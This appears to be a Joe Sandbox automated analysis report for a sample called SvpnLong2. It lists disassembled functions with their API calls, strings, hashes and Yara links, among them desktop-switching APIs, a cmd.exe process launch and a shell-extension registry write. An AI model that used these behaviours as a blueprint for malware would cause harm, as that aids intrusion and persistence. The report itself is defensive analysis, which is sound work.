Opcode Fuzzy Hash: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction Fuzzy Hash: 76D1F1367006428ADB64EF6AD5483AE37A9F7A4B88F444125DF4DC7B06DF38C265C346

Function 01842BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 01842BD6
GetProcAddress.KERNEL32 ref: 01842BEE
GetProcAddress.KERNEL32 ref: 01842C01
GetProcAddress.KERNEL32 ref: 01842C16
GetProcAddress.KERNEL32 ref: 01842C29
LoadLibraryA.KERNEL32 ref: 01842C39
GetProcAddress.KERNEL32 ref: 01842C51
FreeLibrary.KERNEL32 ref: 01842CA9
FreeLibrary.KERNEL32 ref: 01842CB7

Strings

GetUserObjectInformationA, xrefs: 01842BF7
GetThreadDesktop, xrefs: 01842BE4
kernel32.dll, xrefs: 01842C32
SetThreadDesktop, xrefs: 01842C0C
GetCurrentThreadId, xrefs: 01842C47
CloseDesktop, xrefs: 01842C1F
user32.dll, xrefs: 01842BCF

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: d259d05d68f28adb06e9752d25319e9f966ef7748459ba0d3240ed39c360000d
Instruction ID: 980f8cc0bdf4ad2b331134fec6c8a72b7bf74ac27cbcc104a2fad71b905c69d5
Opcode Fuzzy Hash: d259d05d68f28adb06e9752d25319e9f966ef7748459ba0d3240ed39c360000d
Instruction Fuzzy Hash: 4A312731315B8482EA519B62F9543EA7361FB89FD5F408125ED4E8BB24EF78C649C340

Function 0185DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0185DB08
_errno.LIBCMT ref: 0185DB0F
_invalid_parameter_noinfo.LIBCMT ref: 0185DB1A
__doserrno.LIBCMT ref: 0185DC65
CreateProcessA.KERNEL32 ref: 0185DCA7
GetLastError.KERNEL32 ref: 0185DCAF
free.LIBCMT ref: 0185DCBC
WaitForSingleObject.KERNEL32 ref: 0185DCE9
GetExitCodeProcess.KERNEL32 ref: 0185DCF7
CloseHandle.KERNEL32 ref: 0185DD11
CloseHandle.KERNEL32 ref: 0185DD21
_errno.LIBCMT ref: 0185DD2C

Strings

cmd.exe, xrefs: 0185DAC2

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction ID: 2efe5a82792bc49a4d4837fa2cb94ac0b6b3d689a9882c61dd779d9dba9d8127
Opcode Fuzzy Hash: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction Fuzzy Hash: 8761F272700B44C6EB618FADE4803AD3B61F7547A8F458316DE6E87795DB78C649C302

Function 00007FF74113CE50 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF74113CF01
_invalid_parameter.LIBCMTD ref: 00007FF74113D033
_invalid_parameter.LIBCMTD ref: 00007FF74113D1B4
_invalid_parameter.LIBCMTD ref: 00007FF74113D34B

Strings

(L"String is not null terminated" && 0), xrefs: 00007FF74113D150, 00007FF74113D1AD
(L"Buffer is too small" && 0), xrefs: 00007FF74113D2E7, 00007FF74113D344
String is not null terminated, xrefs: 00007FF74113D11D
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF74113CE9D, 00007FF74113CEFA
Buffer is too small, xrefs: 00007FF74113D2AB
(((_Src))) != NULL, xrefs: 00007FF74113CFCF, 00007FF74113D02C
wcscat_s, xrefs: 00007FF74113CEF3, 00007FF74113D025, 00007FF74113D1A6, 00007FF74113D33D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 00007FF74113CEB2, 00007FF74113CEEC, 00007FF74113CFE4, 00007FF74113D01E, 00007FF74113D165, 00007FF74113D19F, 00007FF74113D2FC, 00007FF74113D336

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: f6516d988b5cd8070580733c07acc62f02b5f7fc11d7837ca7af3553bd32680a
Instruction ID: 5c23431cb7f5d196f43e7432558191c08bc331ef2f13f5abbb6cd8597a63c412
Opcode Fuzzy Hash: f6516d988b5cd8070580733c07acc62f02b5f7fc11d7837ca7af3553bd32680a
Instruction Fuzzy Hash: 76F12B32A1CB8AC6EB61BB14F44436AE7A0FB85794F904135D69D83B98DFBCD4448F21

Function 00007FF7411380B0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741138161
_invalid_parameter.LIBCMTD ref: 00007FF74113828D
_invalid_parameter.LIBCMTD ref: 00007FF741138407
_invalid_parameter.LIBCMTD ref: 00007FF741138595

Strings

(L"String is not null terminated" && 0), xrefs: 00007FF7411383A3, 00007FF741138400
strcat_s, xrefs: 00007FF741138153, 00007FF74113827F, 00007FF7411383F9, 00007FF741138587
(L"Buffer is too small" && 0), xrefs: 00007FF741138531, 00007FF74113858E
String is not null terminated, xrefs: 00007FF741138370
Buffer is too small, xrefs: 00007FF7411384F5
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 00007FF7411380FD, 00007FF74113815A
(((_Src))) != NULL, xrefs: 00007FF741138229, 00007FF741138286
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 00007FF741138112, 00007FF74113814C, 00007FF74113823E, 00007FF741138278, 00007FF7411383B8, 00007FF7411383F2, 00007FF741138546, 00007FF741138580

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 8e524936c7a2ebf9cd6b3a777262959e6073a38c984f96b053e4fb51eaf8531d
Instruction ID: 83c0ebf3b0ff66e571077450916b5be2f8941df23bc2860a6b41f62773b4391a
Opcode Fuzzy Hash: 8e524936c7a2ebf9cd6b3a777262959e6073a38c984f96b053e4fb51eaf8531d
Instruction Fuzzy Hash: ADF11D31A1CB8ACAEBA2BB14F44436AE7A0E785754F904235D69D43B98DFBCD444CF21

Function 01856228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 01856280

Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BEC2
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BED4
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BEE6
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BEF8
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF0A
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF1C
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF2E
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF40
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF52
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF64
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF79
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BF8E
Part of subcall function 0185BEA4: free.LIBCMT ref: 0185BFA3

free.LIBCMT ref: 01856274

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

free.LIBCMT ref: 01856296
__free_lconv_num.LIBCMT ref: 018562A2
free.LIBCMT ref: 018562AE
free.LIBCMT ref: 018562BA
free.LIBCMT ref: 018562DE
free.LIBCMT ref: 018562F2
free.LIBCMT ref: 01856301
free.LIBCMT ref: 0185630D
free.LIBCMT ref: 0185633A
free.LIBCMT ref: 01856362
free.LIBCMT ref: 0185637C

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: e3ddb7540d5dfc613a2194f588d1e546387b6924211eaf7a22de5ea3279a8fae
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: F3313832602A85D4EFA6DF69D4603EC2360FB94B94FA844359E0DAB355EF78C281C312

Function 0184F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 018538A4: GetSystemTimeAsFileTime.KERNEL32 ref: 018538B2

Part of subcall function 01854238: _getptd.LIBCMT ref: 01854240

rand.LIBCMT ref: 0184F6D0

Part of subcall function 01854250: _getptd.LIBCMT ref: 01854254

lstrlen.KERNEL32 ref: 0184F720
lstrlen.KERNEL32 ref: 0184F77A
lstrlen.KERNEL32 ref: 0184F7A0
RegOpenKeyExA.ADVAPI32 ref: 0184F82C
RegSetValueExA.ADVAPI32 ref: 0184F852
RegSetValueExA.ADVAPI32 ref: 0184F87F
RegCloseKey.ADVAPI32 ref: 0184F88A

Strings

lpKey, xrefs: 0184F862
lpData, xrefs: 0184F83F
SOFTWARE\Classes\*\shellex, xrefs: 0184F810

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: fb9384daab15fe592c990a5a331f06693fab91ef25cc7aa4ae0eb7b34101b609
Instruction ID: d7d0f085768cb3f2435a32230915120f6bc21b06bfe351fde0ee3bca0e7eeaa9
Opcode Fuzzy Hash: fb9384daab15fe592c990a5a331f06693fab91ef25cc7aa4ae0eb7b34101b609
Instruction Fuzzy Hash: 1251B072618B8586DB50DF29F45039AB7A0F799B84F449125EF8E87B29DF3CC645CB00

Function 0186140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0186143C

Part of subcall function 01854958: _amsg_exit.LIBCMT ref: 0185496E

_getptd.LIBCMT ref: 01861450
_getptd.LIBCMT ref: 0186148A
_getptd.LIBCMT ref: 01861496
_getptd.LIBCMT ref: 018614A2
_CreateFrameInfo.LIBCMT ref: 018614B7

Part of subcall function 01860B08: _getptd.LIBCMT ref: 01860B14
Part of subcall function 01860B08: _getptd.LIBCMT ref: 01860B22
Part of subcall function 01860B08: _getptd.LIBCMT ref: 01860B36

_getptd.LIBCMT ref: 018614D5
_getptd.LIBCMT ref: 018615DB
_getptd.LIBCMT ref: 018615E7

Strings

csm, xrefs: 0186159B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: cfda699c399615f4edce413309833712fc6e6d2fb9b4808a18492a6944a4d8b6
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: F3418E32104B8682C770AF1AE4443AEB7B8F785BA5F154225DFAE87B54DF38C1A5C701

Function 0185F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0185F600
_invalid_parameter_noinfo.LIBCMT ref: 0185F60B
__wtomb_environ.LIBCMT ref: 0185F6ED
_errno.LIBCMT ref: 0185F6F6
free.LIBCMT ref: 0185F7E7
SetEnvironmentVariableA.KERNEL32 ref: 0185F918
_errno.LIBCMT ref: 0185F925
free.LIBCMT ref: 0185F933
free.LIBCMT ref: 0185F940
free.LIBCMT ref: 0185F967

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction ID: d533e8ab520504b26c3b31639a9bb01942c835967b818074e10cbffd1f4e15fc
Opcode Fuzzy Hash: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction Fuzzy Hash: 2191F326312B8581FF96AB29A91036A7B94FF40BD8F988928DF59C7754EF38C245C311

Function 00007FF741150B60 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741150C3E
_invalid_parameter.LIBCMTD ref: 00007FF741150E0A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 00007FF741150BEF, 00007FF741150C29, 00007FF741150DBB, 00007FF741150DF5, 00007FF741150ECB, 00007FF741151073, 00007FF7411510AD
(L"Buffer is too small" && 0), xrefs: 00007FF74115105E, 00007FF7411510BB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF741150BDA, 00007FF741150C37
Buffer is too small, xrefs: 00007FF741150EB6, 00007FF74115102B
(((_Src))) != NULL, xrefs: 00007FF741150DA6, 00007FF741150E03
wcsncpy_s, xrefs: 00007FF741150C30, 00007FF741150DFC, 00007FF7411510B4

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 7208ed254ce81095b6aea37670380c7cc935244e74f606be1ba889ffb980eaa3
Instruction ID: cd81f7c3b74eed9a70e3885cffea01c6d669a2da80b7805485a8b6a488ea21c2
Opcode Fuzzy Hash: 7208ed254ce81095b6aea37670380c7cc935244e74f606be1ba889ffb980eaa3
Instruction Fuzzy Hash: 76025D32A1CB86C5EB71BB68F49036AA3A0FB85794F904135D69D82BD4DFBCD4848F11

Function 00007FF741127460 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741127511
_invalid_parameter.LIBCMTD ref: 00007FF741127643
_invalid_parameter.LIBCMTD ref: 00007FF7411277EB

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 00007FF7411274C2, 00007FF7411274FC, 00007FF7411275F4, 00007FF74112762E, 00007FF74112779C, 00007FF7411277D6
(L"Buffer is too small" && 0), xrefs: 00007FF741127787, 00007FF7411277E4
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF7411274AD, 00007FF74112750A
Buffer is too small, xrefs: 00007FF741127754
wcscpy_s, xrefs: 00007FF741127503, 00007FF741127635, 00007FF7411277DD
(((_Src))) != NULL, xrefs: 00007FF7411275DF, 00007FF74112763C

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 42156b940748f78acc56f5c3a3fd81fc88f42312ef86bc0735d71b767990b2b8
Instruction ID: dbc943b0b5b94a889ad3a3af6a227a81701485f2d4907edc9902ec5ef1175b85
Opcode Fuzzy Hash: 42156b940748f78acc56f5c3a3fd81fc88f42312ef86bc0735d71b767990b2b8
Instruction Fuzzy Hash: B2C17C32A1CA86C5EB62BB24F44436AE3A0EB95794F904135D69D43BD8DFBCD084CF11

Function 00007FF741130B20 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF741130BD1
_invalid_parameter.LIBCMTD ref: 00007FF741130CFD
_invalid_parameter.LIBCMTD ref: 00007FF741130E9C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 00007FF741130B82, 00007FF741130BBC, 00007FF741130CAE, 00007FF741130CE8, 00007FF741130E4D, 00007FF741130E87
(L"Buffer is too small" && 0), xrefs: 00007FF741130E38, 00007FF741130E95
Buffer is too small, xrefs: 00007FF741130E05
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 00007FF741130B6D, 00007FF741130BCA
(((_Src))) != NULL, xrefs: 00007FF741130C99, 00007FF741130CF6
strcpy_s, xrefs: 00007FF741130BC3, 00007FF741130CEF, 00007FF741130E8E

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: bc6f4ea81cf43de0207a9197fd08550302e327908e1f695f125b0e47f452f30a
Instruction ID: e9f6824b39a334ae825bbee3912ced97eca679c048dbce248b463c9a991aeed8
Opcode Fuzzy Hash: bc6f4ea81cf43de0207a9197fd08550302e327908e1f695f125b0e47f452f30a
Instruction Fuzzy Hash: D4C14932A1CB8AC6EB62BB24F44436AA7A0E785754F904135D69D43B99DFBCD084CF21

Function 01842CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 01842D0C
GetProcAddress.KERNEL32 ref: 01842D24
GetProcAddress.KERNEL32 ref: 01842D37
GetProcAddress.KERNEL32 ref: 01842D47
FreeLibrary.KERNEL32 ref: 01842D85

Part of subcall function 01842BA0: LoadLibraryA.KERNEL32 ref: 01842BD6
Part of subcall function 01842BA0: GetProcAddress.KERNEL32 ref: 01842BEE
Part of subcall function 01842BA0: GetProcAddress.KERNEL32 ref: 01842C01
Part of subcall function 01842BA0: GetProcAddress.KERNEL32 ref: 01842C16
Part of subcall function 01842BA0: GetProcAddress.KERNEL32 ref: 01842C29
Part of subcall function 01842BA0: LoadLibraryA.KERNEL32 ref: 01842C39
Part of subcall function 01842BA0: GetProcAddress.KERNEL32 ref: 01842C51
Part of subcall function 01842BA0: FreeLibrary.KERNEL32 ref: 01842CA9
Part of subcall function 01842BA0: FreeLibrary.KERNEL32 ref: 01842CB7

Strings

OpenInputDesktop, xrefs: 01842D1A
OpenDesktopA, xrefs: 01842D2D
CloseDesktop, xrefs: 01842D3D
user32.dll, xrefs: 01842D05

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
